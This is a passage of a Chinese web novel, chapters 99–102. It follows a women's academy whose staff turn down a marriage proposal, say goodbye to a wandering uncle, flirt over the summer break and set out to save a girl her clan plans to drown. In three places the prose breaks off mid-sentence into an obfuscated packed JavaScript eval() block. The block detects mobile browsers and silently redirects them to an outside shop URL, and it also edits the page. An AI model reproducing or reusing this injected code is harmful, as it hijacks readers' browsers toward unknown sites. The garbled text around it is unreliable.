戴家的马车把袁竹和徐洪愿送到袁家之后,就驾着车回去了。袁竹把徐洪愿扶进屋,嘱咐孩子们给她倒水喝,千万不要碰她,便去请郎中去了。 郎中看见徐洪愿的伤,也面露不忍,好在她身上的都是皮外伤,修养些日子就好了,郎中开了些治跌打损伤和去疤痕的药,袁竹付了钱,便和他一起取药去了。 拿了药包回来,袁竹看到一个男人站在大门口,向内张望,推测他是来找姜佑安的,便过去打招呼,“书院现在休假,你家是有孩子要送来读书吗?” 袁信生回过头来,惊喜地笑了,“袁竹,真的是你!这上面写着女子弓箭社,我还以为我找错门了呢。” “小叔?”见到了多年没见的亲人,袁竹也无比激动,“你怎么会到这里来?走,进去说话。” “我在县里看着就像是你,没敢认,打听了好久才打听到你这来。”袁信生跟着袁竹一起进了大门,袁竹先让他在堂屋里坐了,把徐洪愿扶进了自己的房间,又把药给了阮荷,让阮荷帮忙给徐洪愿上药。 等她从房间里出来,还没来得及跟袁信生说话,李长风跑了过来,说门口有人找她。 袁竹走了出去,见大门外站着一个没见过的年轻男人,他向袁竹走来,抱拳行了一礼,“在下辛开元,本县人士,今日在县里见到姑娘仗义执言、救助她人,当时便对姑娘一见倾心,打听了姑娘的住处,追到这里来,只为求娶姑娘,还望姑娘成全。” 99. 倾慕 “你说什么?”袁竹有些不敢相信自己的耳朵。 “在下想要求娶姑娘,希望姑娘成全。”辛开元重复道。 “你什么意思?过来看我笑话的?”袁竹警惕地问道。 “没有,我是认真的。”辛开元说道。 “你今年多大?”袁竹问道。 “二十四。”辛开元答道。 “你知道我多大吗?”袁竹问道。 “不知道。”辛开元说道。 “那你总该知道我是个寡妇吧。”袁竹说道。 “我知道,姑娘你现在没有丈夫,所以我想要娶你。”辛开元认真地说道。 “你还这么年轻,为什么要娶一个寡妇?你爹娘同意吗?”袁竹问道。 “我不是要娶一个寡妇,我是要娶姑娘你。”辛开元脸上是开心的笑容,一双浅棕色的眸子里,充满了温柔的爱意,“我在县里见到姑娘,就直接追过来了,我爹娘还不知道我要娶你,不过,我喜欢姑娘,我爹娘也会喜欢姑娘你的。” 这样猛烈的、直白的表达,袁竹从未遇到过,她有些发懵,“你真的是认真的?” “真的,我希望能与姑娘共度一生。”辛开元说道。 袁竹心里产生了一种奇怪的感觉,她有一点点开心,这个男人看起来很喜欢她,但还有挥之不去的不安,这个男人好像要把她拉进原先那种婚姻生活中去,她要到他家里去,给他打理整个家,干活、挣钱、陪睡、生孩子,还要伺候公公婆婆,她不想,也绝对不要再陷入到那种生活里。 “我不认识你,也不想嫁给你,你走吧。”袁竹冷淡地说完,转身往院里走去。 “袁姑娘!你不能给我一个机会吗?也给你自己一个机会,让我们相处一段时间,更多地了解彼此,说不定到时候,你就可以接受我了。”辛开元说道。 “我不想要这种机会,你以后不要再来了。”袁竹头也不回地跨过了门槛,消失在门内。 一旁的李长风呆呆地看着辛开元,辛开元在大门外站了一会儿,离开了。 屋里徐洪愿已经上好了药,在袁竹的房间里睡下了,袁竹把孩子们赶去园子里玩,让她们别吵着徐洪愿休息,她自己也带着袁信生去了园子里说话。 走在园子里的石子路上,袁信生不禁感叹道:“一别这么多年,你真是长大了。” “确实很多年了,我都快三十了,小叔你也快四十了吧。”袁竹笑着说道。 离开家这些年,袁竹心里惦记着的亲人,除了姐姐,就是这位小叔了,他对自己和姐姐都很好,经常给她们俩讲故事听。 袁信生爽朗一笑,“对啊,你和你姐姐都嫁人了,就你小叔我成了老光棍了。” “你还没成家?”袁竹问道。 “没呢,一人吃饱,全家不饿,多舒坦。”袁信生笑着说道。 “那倒是。”袁竹附和道。 袁信生看着那些在园子里奔跑的孩子,向袁竹问道:“我听说你没有孩子,这些孩子是哪来的?” “收养的。”袁竹说道。 “你现在这么有钱吗?住着带园子的宅子,还养了这么多孩子。”袁信生问道。 “宅子是租的,明年能不能住还不好说,养这么多孩子是挺费钱的,好在附近的村民都挺帮忙的,给我们送了不少粮食来。”袁竹说道:“你怎么会到泰安县来?不会专程来看我的吧。” “你爹娘都不知道你的行踪,我怎么能知道?我就是云游四方,走到了这里,正巧看到你在跟人吵架,就跟人打听了一下,才找到这里来。”袁信生笑了笑,“这么多年没见,你的脾气是越来越大了,我听说跟你吵架那个是县里书院的院长,你可真是厉害!” 袁竹也笑了,“脾气大,才不会被人欺负,他说话没道理,我才骂他的。” “我听围观的人里有不少都夸你骂得痛快呢。”袁信生说道。 “那个老古板,麻烦得很。”姜佑安在路边的石凳上坐下,“不说他了,你到这里有地方住吗?打算待多长时间?” 袁信生也在旁边的石凳上坐了,转头看向袁竹,“没想好,你能收留我吗?” “只要你别告诉别人我在这里。”袁竹说道。 “你还信不过我?你不想让别人知道的事,我是肯定不会说的。”袁信生说道。 “那你就住下吧,前院最靠里面的一间倒座房还在空着,里面放了些木头,你不嫌弃的话,可以直接住,嫌碍事,你就给搬到院子里去。”袁竹说道。 “不嫌弃,有住的地方就行。”微微一笑,视线看向远处玩闹的孩子,“看到你过得好,我就放心了,不知道你姐姐现在怎么样了。” “她出嫁之后很少回娘家,我嫁人之后,就再也没见过她了,听说她生了儿子,应该过得还不错吧。”袁竹说道。 姜佑安回来了,看过徐洪愿之后,在孩子们的指引下来到了袁竹身边,袁竹向两人介绍了彼此,两人问过好,姜佑安便到角落里射箭去了。 袁信生在宅子里住了两天,有时帮着一起去采花、做饼,有时帮李长风在窗口卖饼,有时和杨恩一起锯木头,院子里的孩子们对他很好奇,有胆大的过来问他是谁,为什么会在这里,他就在院子里给孩子们讲起了故事。 眼看五月要过完了,有些学生已经提前回到了书院,袁信生觉得自己在这里住着不太方便,来向袁竹辞行,袁竹知道他好云游,也就没留他,把在县里成衣店里买的一件长衫送给了他,还给他打了包袱,装了些干粮和几块碎银子。 袁信生背着包袱出了大门,孩子们也都来相送,他笑着挥了挥手,“都回去吧,我走了,别送了。” “你要到哪去?要不我给你雇个马车吧。”袁竹说道。 “我还没想好去哪里,如果走到哪儿顺路,我就去你姐姐那里看看,她肯定也想知道你现在过得怎么样。”袁信生说道。 “行啊,要是你能到我姐那里,就让她给我捎个信儿来,也让知道知道,她现在过得好不好。”袁竹含着泪说道。 “好,我一定告诉她。”袁信生摆了摆手,转身走上了大路,再没有回头。 袁竹流着泪回了屋,孩子们也都跟着回来了。 阮荷劝她不要伤心,袁竹的眼泪却停不住,她想起很多小时候的事,想起爹娘,想起姐姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14419578|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起大伯和小叔,还想到这次告别之后,可能再也不会再见面。 见袁竹哭得伤心,阮荷也想起了自己的家人,跟着一起哭了起来,其他的孩子见了,也都纷纷哭了起来。 姜佑安卖饼回来,听到大家的哭声,吓了一跳,赶忙跑进来问发生了什么事,在后罩房住的徐洪愿也过来问大家是怎么了,袁竹这才止住眼泪,问徐洪愿的伤怎么样了,有没有好一些,徐洪愿撩开袖子,给大家看她的胳膊,上面的淤青淡了许多。 得知大家哭是因为袁信生走了,姜佑安这才放下心来,安慰袁竹说,袁信生已经知道她住在这里,想过来看她,随时都可以来,只要在家里等着就好。袁竹觉得也有道理,便起身去忙去了,其他人见袁竹走了,也都各自散了。 六月,学生们都回到了学堂里,戴庭芳也来了,一切照旧,只是姜佑安下午还要教学生练箭,不能再去卖饼了,徐洪愿觉得伤好得差不多了,便主动提出,由她挑着担子去县里卖饼。 姜佑安看她身上的淤青还没有完全消除,有些不太放心,去找到了张慈,想让她和徐洪愿一块去,但张慈说,村里刚给她分了地,最近没空干别的,姜佑安只好作罢。 好在郭英提出下午可以和徐洪愿一起外出,姜佑安才同意了两人一起去卖饼。 和袁竹哭了一场之后,阮荷也想家了,和阮晨烟一起回了趟家,姜佑安本想让李长风跟着一起去,阮荷拒绝了,回来之后,她的心情好了不少,说之前孔贺大人去过她家,跟她父母说儿女的婚事要慎重,不可卖与人做妾,她父母就没再提让她嫁人的事。 姜佑安知道阮荷肯定是拿钱回去给她父母了,也没有多说什么,阮荷的事,她自己拿主意就好,姜佑安不想对她过多干涉。 阮荷上午读书,下午便去做饼,做饼的方子她写了五六张,贴在西厢房的墙上,下午不去射箭的学生,便去西厢房帮忙,姜佑安给了阮荷一些钱,让她按天给来帮忙的学生发工钱。 听说在女子书院,不仅能读书识字,还能挣钱,附近又有五六个孩子被父母送进了学堂,四五十个学生坐在学堂里,着实是有些拥挤了。 姜佑安决定把学堂和做饼房调个个儿,西厢房宽敞,做学堂,原先的学堂用来做饼,经过龙世蓉的允许之后,在中间墙上打了门,直接通到门房,这样,做饼卖饼也方便了,学堂挪到院子里,也更安静了。 西厢房用作学堂之后,姜佑安便不许孩子们在院子里玩了,年纪还小的,都赶去园子里玩,由钟二娘和钟明珠看着她们,有时钟二娘要去学堂读书,钟明珠也跟着,姜佑安便去看孩子。 自从学堂搬到了西厢房,戴庭芳日日都来,平日里照常教书,学生们休息时,他就在西厢房里读书写字,偶尔去园子里看姜佑安射箭。 三伏天,姜佑安给学生们放了二十天的假,大部分孩子都回家过夏天去了,戴庭芳一早又来到袁家门口,杨恩打开门让他进了院子。 袁竹和李长风卖花去了,阮荷在房里读书,姜佑安穿着轻薄的衫裙,正坐在蔷薇架下纳凉,见戴庭芳走进来,有些奇怪地问道:“戴老师?你怎么来了?不是跟你说今天放假吗?” 100. 酷暑 戴庭芳手上拿着几本书,缓步走到姜佑安的面前来,眼底有着淡淡的笑意,“我跟我父亲吵架了,想借用你的学堂看书写字,姜院长准许吗?” 姜佑安笑了笑,走过去打开了西厢房的门,“这个学堂就是戴老师的,戴老师想什么时候用就什么时候用,不用征求我的意见。” 戴庭芳走了进去,把书放在桌子上,“姜院长今天有什么安排吗?” 姜佑安倚在门框上,听着热闹的蝉鸣声,轻轻挥动着蒲扇,“天气这么热,只想在家里纳凉消暑,没什么别的安排。” “说得也是,最近天气确实热。”戴庭芳附和道。 姜佑安转头看向戴庭芳,见他鬓角的头发都被汗湿了,“你不是坐马车来的吗?怎么出了这些汗?” “不是,我走来的。”戴庭芳说道。 “从县里走过来也够热的,我给你打些井水,给你洗洗脸,凉快凉快吧。”姜佑安把蒲扇放在椅子上,往厨房旁的水井走去。 “我自己打就好。”戴庭芳忙跟了过去。 “我来吧,你去我房里,把脸盆拿过来。”姜佑安说道。 戴庭芳依言去了姜佑安的房间,找到脸盆就匆匆走了出来,姜佑安转动轮轴,把水提了出来,阮荷从屋里出来,跟戴庭芳打招呼,戴庭芳一边应着,一边把脸盆放在了姜佑安的脚边。 姜佑安把盆里的水泼到了院子里,提着水桶,把清澈的井水倒进了脸盆里,水声哗啦啦响,听着就生出了清凉之意。 戴庭芳蹲下身去,挽起袖子,洗了洗脸、脖颈和胳膊,井水很凉,压下了他身上的热气。 阮荷拿了手巾来,戴庭芳接过去,擦干了脸上的水,“多谢。” “不客气,你们聊,我去读书了。”阮荷拿回手巾,回房间去了。 姜佑安撸起袖子,就着盆里的凉水,也洗了洗胳膊,随后端起盆,把里面的水泼了出去,水顺着砖缝往四面八方流淌。 “我给你拿手巾去。”戴庭芳说着就要往屋里走,姜佑安甩了甩手,“不用了,一会儿就干了。” 后院里有两个三四岁的孩子相伴走过来,后面跟着钟明珠,姜佑安赶忙走过去,拦住了孩子们,“这边地上有水,别摔倒了,去找钟妈妈,带你们到园子里玩吧。” 钟明珠点了点头,牵着两个孩子走了回去。 “她还是不会说话?”见钟明珠走远了,戴庭芳小声问道。 姜佑安摇了摇头,“不会,请了县里的大夫来看,也看不出是什么毛病,不过她能听懂人话,能帮忙做饼,也能帮忙看孩子,不会就不会吧,也不影响她生活。” “还好遇到了你们,要不然,她这辈子,怕是会活得很艰难。”戴庭芳感叹道。 “不是遇到,是别人把她强塞给我们的。”姜佑安从屋里搬了把椅子出来,放在了书堂门口的蔷薇架下,“屋里闷,你要读书,就在院里读吧,还能凉快些。” “好。”戴庭芳去学堂里拿了本书出来,在椅子上坐了。 此时太阳还不算毒辣,院子里地上的水增添了凉意,再加上不时拂过的微风,在蔷薇架下坐着,确实凉快。 和戴庭芳相隔不远,姜佑安坐在另一把椅子上,杨恩锯木头的声音、孩子们嬉闹的声音,远远传来,和蝉鸣声交汇在一起,更显出这院子的寂静,她把蒲扇放在膝上,闭目养神。 戴庭芳手上拿着书,视线却不自觉地投到姜佑安身上,她平时好像有无穷的精力,做什么都不会觉得累,难得看到她这么安静地待着,更难得的是,这院子里,只有他和她两个人。 阳光透过蔷薇架,杂乱地洒在她浅蓝色的裙子上,杏色短衫的袖子滑落到手肘,露出她结实的小臂,她经常在外行走,皮肤不像一般庄稼人那样黝黑,呈现出健康的小麦色。 非礼勿视,按说他不该这样一直盯着她的手臂看,可不知道为什么,他无法轻易地移开视线,他的心跳越来越大声,脑海里产生了一些大胆的想法,若是可以碰触她的肌肤,若是可以拥抱她,若是…… 姜佑安不经意间睁开眼,见戴庭芳正直勾勾地盯着她看,她轻轻笑了,“戴老师,你这么看着我做什么?” 戴庭芳赶忙低下头,感觉脸上火热一片,“没什么,我在想事情。” “想什么事情?”姜佑安问道。 戴庭芳一时编不出什么话来,只能尴尬地沉默着。 姜佑安见他额头上渗出细密的汗珠,把椅子搬到了他身边,拿着蒲扇给他扇风,“戴老师很怕热吗?要不要再洗洗脸?” 见姜佑安凑在近旁,戴庭芳觉得浑身都热了起来,蹭地站起身,把书放在椅子上,冲到了井边,水桶和脸盆都还在那里,他倒了半脸盆水,蹲下身子,两手捧起水来,猛洗脸。 姜佑安用蒲扇遮着太阳,从蔷薇架下走出来,担心地问道:“戴老师,你没事吧?” 那水已经不凉了,戴庭芳站起身时,仍觉得脑子不太清醒,他用手抹去脸上的水,强装镇定地答道:“我没事,就是觉得有些热。” 姜佑安走过来,拿蒲扇往他脸上扇着风,轻笑道:“幸亏我给学生们放了假,这么热的天,再让你教书,只怕是要晕过去了。” 戴庭芳脸上一片绯红,不敢看姜佑安的脸,“是啊,还好学生们都放假了。” “你平时在家里都怎么过夏天?”看他热得脸都红了,姜佑安提议道:“你家里应该有冰和香,也有仆人给你打扇子,我这里可是什么都没有,要不你还是回家去避暑,等天凉一些再来吧。” “不,不用了。”戴庭芳撩着盆里的水,打湿了自己的衣裳,“没事,这样就凉快了。” 看他轻薄的衣衫沾湿后,紧贴在身上,透出了他身体的形状,他皮肤白皙,眉目如画,好一个湿漉漉的美人!姜佑安不禁咽了一下口水,伸手搭在了戴庭芳的胳膊上,假装在摸他的衣服,“衣服都湿了,不会着凉吧。” 笼罩在一片湿气之中,戴庭芳觉得热气消散了不少了,姜佑安的手抚摸着他的胳膊,又让他觉得胳膊上火热一片,他略微往后挪了挪,“天这么热,一会儿就干了。” 姜佑安抬眼看着戴庭芳,嘴角带着浅笑,轻声问道:“戴老师,要不要去我房里?” 戴庭芳紧张地舔了舔嘴唇,侧头看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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都怪戴庭芳长得那么好看,还用那双眼睛勾引她,让她一时失去了理智,这些男人,为什么总是近在咫尺的时候,就会突然失去?黎泱泱被知县举荐去了定州,戴庭芳仓皇逃走,黑皮壮汉和白面书生,她一个都得不到,真是扫兴! 姜佑安闭上眼睛,把蒲扇搭在头上,回忆着戴庭芳那张沾着水的脸、如凝脂般的肌肤,还有他精瘦的身子,不禁想入非非。 之后一连三天,戴庭芳都没再过来,虽说放假他本就不该来,但他自己说,跟他爹吵架了,要到书院里读书躲清静的,怎么又不来的?不会真的生气了吧。 担心就此失去这个老师,姜佑安一早起来,饭都没吃,就去县里找戴庭芳去了,戴家人说他不在家,去书院也说他不在,姜佑安只好去找程祥,问戴庭芳是怎么回事,假期结束还去不去教书。 程祥说戴庭芳肯定要继续去教书的,只是最近戴克政在给他张罗婚事,为了躲清静,他常常不在家。 姜佑安这才知道,戴庭芳跟他爹吵架是为了这件事,看来两方都不会轻易妥协,姜佑安让程祥告诉戴庭芳,可以去她的书院躲清静,程祥答应会帮忙传达,姜佑安放心地回去了。 之后,姜佑安就一直在书院里等他,可他并没有来,直到假期结束,姜佑安才终于又见到了戴庭芳,只不过十来天没见,他看起来憔悴了许多。 101. 家法 “早上好,戴老师。”姜佑安站在蔷薇架下跟戴庭芳打招呼。 “早上好。”戴庭芳露出了微笑,努力平复着悸动的心。 “我还以为戴老师生我的气,不来了呢。”姜佑安笑着说道。 “没有,只是家里有点事,脱不开身。”戴庭芳说道。 姜佑安朝戴庭芳走过去,“还在跟令尊吵架?” 身后不断有人走进学堂里,戴庭芳也往学堂走,“没事,他以后会明白的,我去做教书准备了。” “哦,好,戴老师忙你的去吧。”姜佑安停下了脚步,冲他笑了笑,戴庭芳快步走进了学堂。 看他躲避的姿态,姜佑安感到有些不快,不过,只要他还能继续来教书,其他的都不是问题。 八月,虞美人的花期过了,玫瑰花开了第二茬,宅子里又热热闹闹地做起玫瑰花饼来,袁竹买回几个大坛子来,要把鲜玫瑰花做成玫瑰花酱,等玫瑰花的花期过了,还可以继续做玫瑰花饼。 玫瑰花饼出炉后,徐洪愿便和张慈一起挑着担子去县里买,张慈的田里已经种上了水稻,此时正是农闲时候,徐洪愿伤好之后回了娘家一趟,之后又回来了,说这里需要人手,她愿意留在这里帮忙。 县里人得知袁家的玫瑰花饼又继续做了,便有富贵人家差小厮丫鬟过来买新出炉的,还有走亲访友要送礼的,也专门过来买。 龙世蓉有时过来射箭,会买一些玫瑰花饼给社员们佐茶,临走时,还会买一些带走,袁竹不要她的钱,她定要袁竹收下才肯走。 阮荷托杨恩买了坚果回来,做了些月饼一并卖,反响也很不错,中秋节那天,大家一起在院子里吃月饼赏月,热闹了好一阵才去睡。 八月过完,紧接着就是更加忙碌的九月,去年知州王世镜在这里得了一盆稀有菊花的事传开了,不时有外地人专门来到袁家买菊花,袁竹便把人带到园子里,让他们挑选。 年初袁竹去定州买玫瑰花苗时,还买了一些别的品种的菊花,现在各色菊花都开了,买菊花的人挑得眼花缭乱。 还有人在知州那里见过那盆“金镯卧雪”,也想买一盆一样的,袁竹从屋里端出一盆来,以二十两银子的价格卖掉了。 姜佑安好奇地问那花是哪来的,袁竹说是去年送给知州之前,从那盆菊花的根部分出来了一小棵,春天养大之后又扦插的,姜佑安想起自己春天买花盆时,袁竹要了几个过去,原来是要扦插菊花用的,连声称赞她有头脑。 袁竹扦插的菊花一直养在院子里的游廊边,打了骨朵之后才移进屋里,大家都不知道她屋里养着这么稀有的品种,姜佑安知道之后,便告诫所有人,谁不许进袁竹的房间。 除了金镯卧雪,今年新种的又有一些杂交变异的品种,也能卖得稍微贵一些,姜佑安让袁竹留在家里应对那些专门来买菊花的人,她去挑担子出门卖花。 在姜佑安出门卖花的时候,袁竹接到一笔大生意,要在重阳节前一天给附近镇上的一个大户人家送一批菊花,九月初八一早,袁竹和杨恩把花搬上板车,就和李长风一起出门了。 姜佑安挑着担子去了县里,花瓶簪和菊花搭配,卖得特别快,很多人都知道她是女子书院的院长,平时不戴花的,也专门过来支持她的生意。不到一个时辰,她就卖完了花,买了几斤猪肉和两只烧鸡,踏上了回家的路。 回到家,刚在厨房门口放下担子,程祥就一阵风似的跑了进来,“姜院长,我家公子呢?” “在学堂教书呢,怎么了?戴家出什么事了吗?”看他神色慌张,姜佑安奇怪地问道。 “我找我家公子有事,你能把他叫出来吗?”程祥急切地问道。 “行。”姜佑安没细问,就快步走到了学堂门口,扬声道:“戴老师,你出来一下。” 戴庭芳不明所以,放下书,走了出来,姜佑安拽着他的胳膊,把他带到程祥面前才松开手。 “程祥?你怎么来了?”戴庭芳问道。 程祥一把抓住了戴庭芳的手腕,“公子,我有一件事要求你。” “你我之间,不必如此,有什么事,你就直说吧。”戴庭芳说道。 “你还记得书院里那个叫霍静的学生吗?”程祥问道。 “记得,他不是你的朋友吗?他出什么事了?”戴庭芳问道。 程祥身体前倾,紧皱的眉头一直没有舒展,“今天一早,霍家人来到崇正书院,说霍静私自到书院读书,违反了家规,要带回去处置,霍静说这次回去之后,可能再也见不到我了,就跟我说了实情。” “什么家规这么不通情理,连去书院读书都不许?他说的实情是什么?”姜佑安问道。 “我也是今天刚知道,霍静是个女人,她为了能进入书院读书,才假扮成男人,霍家家规森严,一向不许家族中的女眷跟外男接触,她说她在书院里,和男人同吃同住,这次回去了,肯定要受到严厉的惩罚。”程祥担忧地说道。 戴庭芳听了非常震惊,“霍静是女人?” “她说的严厉惩罚,是什么样的惩罚?以后再不许她出门?”姜佑安问道。 “她也不知道,但她说以后肯定不能再见我了,虽然我不知道她会面临什么,但我听她跟我讲过她姐姐的事,她姐姐和喜欢的人私奔,被她爹抓回来,沉河淹死了。”程祥说着说着,眼眶红了,“霍静不会也要被淹死吧?” “竟有这样的事!父亲淹死了亲生女儿?”戴庭芳不可置信地问道。 姜佑安对这样丧尽天良的事感到无比愤怒,“这不是杀人吗?她爹没被抓?” 提起这件事,程祥既气愤又无奈,“霍家族人众多,她爹是一族之长,说一不二,族人都拥护他,据说当时她姐姐的私塾老师曾告到官府,要求杀人者偿命,但根本没有人理她。” “真是无法无天!”戴庭芳不禁握紧了拳头。 “霍家在哪?我们去救她!”姜佑安向程祥问道。 “我只知道是在庆丰镇,霍家人多势众,我们过去可能也做不了什么,公子,老爷认识霍家的族长,我求你去找老爷,让他救救霍静吧。”程祥哀求道。 “好,我这就回去。”戴庭芳说着就要往外走,没走出两步又折返回来,去学堂里跟大家说,从今天起放重阳假,后天再过来上课,说完便匆匆出去了。 程祥也要跟着一起去,姜佑安拉住了他,“程祥,这件事戴院长不一定会管,让戴老师自己去跟戴院长说,你去县衙找知县,就说庆丰镇的戴家要行私刑,处死一个无辜之人,请唐知县一定出面阻止,不能在他任上,发生这样无视法度的事。” “我这就去县衙。”程祥答应着,转身向外走去。 “如果知县不在,就找捕快曾景阳和你同去戴家。”姜佑安冲他的背影喊道。 “好!”程祥应了一声,跑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14440396|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去。 学堂里的学生收拾了东西,接练从学堂里走出来,姜佑安跟阮荷说自己要出门一趟,让她和钟二娘一起好好照看那些孩子,然后拉着姜白凤往自己房间走去。 “姜院长,你找我有什么事吗?”姜白凤快步跟上去,有些疑惑地问道。 “白凤,你是从庆丰镇来的,你知道镇上的霍家族长的家在什么位置吗?”姜佑安一边背上弓箭,一边问道。 “知道,霍家族长的房子可气派了,镇上谁都知道。”姜白凤答道。 “那就好,你跟我去一趟庆丰镇,带我去霍家。”姜佑安说道。 “嗯。”姜白凤点点头,和姜佑安一起大步走出袁家,往庆丰镇走去。 “院长,你为什么要带弓箭啊?”姜白凤问道。 “防身用的。”见姜白凤跟着有些吃力,姜佑安稍稍放慢了步伐,“你认识霍家的族长吗?” “我见过他,我爹说他叫霍祭太,霍家的人都听他的。”姜白凤说道。 “那你听说过他女儿的事吗?”姜佑安问道。 “我爹说他有三个女儿,大女儿跟男人跑了,被抓回来了之后,给淹死了,二女儿出嫁了,没再回来,后来小女儿也偷摸跑了,找不着了,你问的是哪个女儿?”姜白凤问道。 姜佑安握紧了弓柄,“他大女儿真的是被他淹死的?” 姜白凤的神情有些惆怅,“我爹是这么说的,我也不知道,我爹说不听话的孩子就该死,要我听他的话,老老实实嫁人,不然,就像霍家的大女儿一样,淹死了都没人哭。” “还好你没有听你爹的。”姜佑安说道。 “对亏院长收留了我,那时,我真是不知道该怎么办才好了。”姜白凤说道。 姜佑安微微一笑,“也是你懂得反抗,自己来到了袁家,要不然,我也没法去你家救你。” “院长要去霍家做什么?”姜白凤问道。 “霍家逃跑的小女儿,被霍家人抓回去了,我们要去救她。”姜佑安说道。 姜白凤兴奋地看向姜佑安,“你要去救人?院长你太厉害了!我跟你一起去!” “霍家人应该很多,你不害怕吗?”姜佑安问道。 “不害怕,有院长在,我什么都不怕。”姜白凤高兴地说道。 姜佑安停下脚步,认真地看着姜白凤,“白凤,咱们到霍家去,吉凶难料,你能保证什么都听我的吗?” 姜白凤点了点头,“可以,我什么都听院长的。” “待会儿到了霍家门口,你就找个地方藏起来,我自己进去,你在外面等我,能做到吗?”姜佑安问道。 “你不让我跟你一起进去吗?”姜白凤问道。 “你应该也知道,霍家族长的权利极大,我手上有弓箭,能保证自己的安全,但是你在我身边,我会有所顾虑,你就在外面等我好吗?”姜佑安拍了拍姜白凤的肩膀,“别担心,我会平安出来的。” 姜白凤似懂非懂地点了点头,“好,我等着你。” 到了庆丰镇,担心被家人发现,姜白凤一路走小巷,带姜佑安来到了霍家门口,姜白凤躲在了小巷里向门口看,见姜佑安走了回来,把身上的弓箭取了下来,递给姜白凤。 “他们不让我带弓箭进去,这个你先帮我保管一下。”姜佑安说道。 姜白凤接过弓箭,忐忑不安地看着姜佑安进了霍家的偏门。 102. 私刑 马上就到重阳节了,霍家宽敞的宅院里到处摆着明黄色的菊花,一派欢庆节日的气象,只是宅院里的人都神情拘谨,怏怏不乐。 小厮把姜佑安领到了主屋前,让姜佑安在门口等候,他进去通报,不多会儿,不见人把她请进去,却是霍祭太自己走了出来。 霍祭太站在门内,上下打量着姜佑安,“是知县大人派你来的?” 姜佑安作揖行礼,“正是,我是泰安县女子书院的院长姜佑安,知县大人知道霍家子弟众多,女眷也不少,特意让我过来询问霍族长,是否愿意让我挑选几个女学生,带回去培养。” “泰安县女子书院?”霍祭太捋了捋胡须,眼神中多有戒备,“我听说过,泰安县读不起书的男孩子众多,你开书院只教女子,还不要钱财,究竟是何居心?” “我一心只为教化民众,县里有县学,还有书院,都只招收男子,我觉得女子也需要识字明理,日后也好相夫教子,不知霍族长为何会怀疑我的用心?”姜佑安不卑不亢地解释道。 “我听说你们书院里只有一位老师,还是个男的,我如何能让家中女眷过去读书?”霍祭太说道。 “老师无论男女,只是教书而已,敢问霍族长是在不放心什么?”姜佑安反问道。 “我没什么不放心的,你替我多谢知县大人的关怀,我霍家有私塾,不需要去你那里读书,请回吧!”霍祭太毫不留情地说道。 “知县大人重视对本县女子的教化,我此番前来,是受知县大人所托,不知霍家的女眷在哪里读书?可否让我过去看看她们学习的是何种书目,我也好回去向知县大人交差。”姜佑安说道。 “今日私塾休息,你去了也见不到人,女眷们读的书,都是《女德》《孝经》之类的,并没有什么特别的,你就用这些去跟知县大人交差吧。”霍祭太转身向屋内走去, 姜佑安不顾小厮的阻拦,快步跟了上去,“霍族长开办私塾,教育族中子弟,是庆丰镇的表率,知县大人有意对霍族长进行嘉奖,若是私塾老师不在,可否我见见家中女眷,了解一下她们读书的情况。” 见姜佑安紧追不舍,霍祭太十分不耐烦,但毕竟是知县大人派来的人,他不得不顾虑知县大人的面子,“罢了,李鹤,带她去我二弟家,跟我二弟说,这位姜院长是知县大人派来的人,让他带这位姜院长见见他女儿,聊聊私塾的事。” “是。”小厮李鹤应了一声,走过来对姜佑安说道:“姜院长,您请跟我来。” 姜佑安不肯走,“霍族长,您自己家不就有女眷吗?为何还要我到别家去?” 霍祭太在椅子上坐了,端起茶杯,冷冷地说道:“你要是不愿意去,那就请回吧,我没有那么多功夫伺候你。” “好,我那就去你二弟家坐坐。”姜佑安只好退一步,霍静被抓回来这件事,他二弟肯定也知道。 姜佑安从堂屋里出来,跟着小厮向外走,见五六个男人从外面进来,急匆匆往里走,她放慢了脚步,向李鹤问道:“明日是重阳节,霍家是要办什么活动吗?” 李鹤眼中现出哀伤的神色,“今天就有活动,不过和重阳节无关。” “今天有什么活动?”姜佑安问道。 李鹤将姜佑安往外领,“您还是不知道的好,知道了也没什么用,我带您去霍二爷家,您见过了霍二爷家的小姐,就回县里去吧。” 姜佑安跟着李鹤除了霍家门,用眼神示意巷子里的姜白凤好好待在那里,待走到无人处,她停下了脚步,“你是不是知道今天会发生什么事?” 李鹤低头叹气,“知道又能如何?很快整个镇子上的人都会知道,但没人能救得了她。” “霍静是不是要在今天被处死?”姜佑安问道。 李鹤惊讶地抬起头,“您认识我家小姐?” 姜佑安神情凌然,“不认识,但我今天正是为了救她而来。” 李鹤颓丧地摇了摇头,“没用的,谁都救不了她,大小姐被抓回来的时候,夫人和二小姐、三小姐跪着求了老爷一夜,邵老师、还有族中很多人都为大小姐求情,可老爷还是处死了大小姐,老爷是一族之长,是族人的表率,他绝不可能违背家规,放过三小姐。” “你告诉我霍静在哪里,我去救她。”姜佑安说道。 “没用的。”李鹤又摇了摇头,“刚才去霍家的那几个人你也看见了,他们就负责押送三小姐的人,个个都身强体壮,你如何能从他们手里把人救出来。” 